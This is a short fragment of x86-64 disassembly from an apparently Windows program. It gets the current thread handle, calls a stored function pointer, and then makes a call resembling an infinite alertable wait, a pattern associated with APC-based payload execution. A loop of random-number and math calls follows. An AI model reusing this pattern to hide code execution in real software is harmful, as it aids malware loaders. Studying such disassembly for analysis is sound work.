mov qword [rbp + 0xd8], rax
cmp dword [rbp + 0x2dc], 0x2dd
jle 0x14000294e
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0xf0]
mov r9, qword [rbp + 0xe8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0xe0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x2d8], 0
jmp 0x140002a63
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x30c30c31
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0xd4], eax
mov ecx, dword [rbp + 0xd4]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
add eax, ecx
sub edx, eax
mov dword [rbp + 0xd4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b160]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0xd4]
movq xmm0, rax
call fcn.140003c60
movq rax, xmm0
mov qword [rbp + 0xc8], rax
add dword [rbp + 0x2d8], 1
cmp dword [rbp + 0x2d8], 0x3d0
jle 0x1400029e3
mov eax, 0
movups xmm6, xmmword [rbp + 0x340]
add rsp, 0x3d8
pop rbx
pop rbp
ret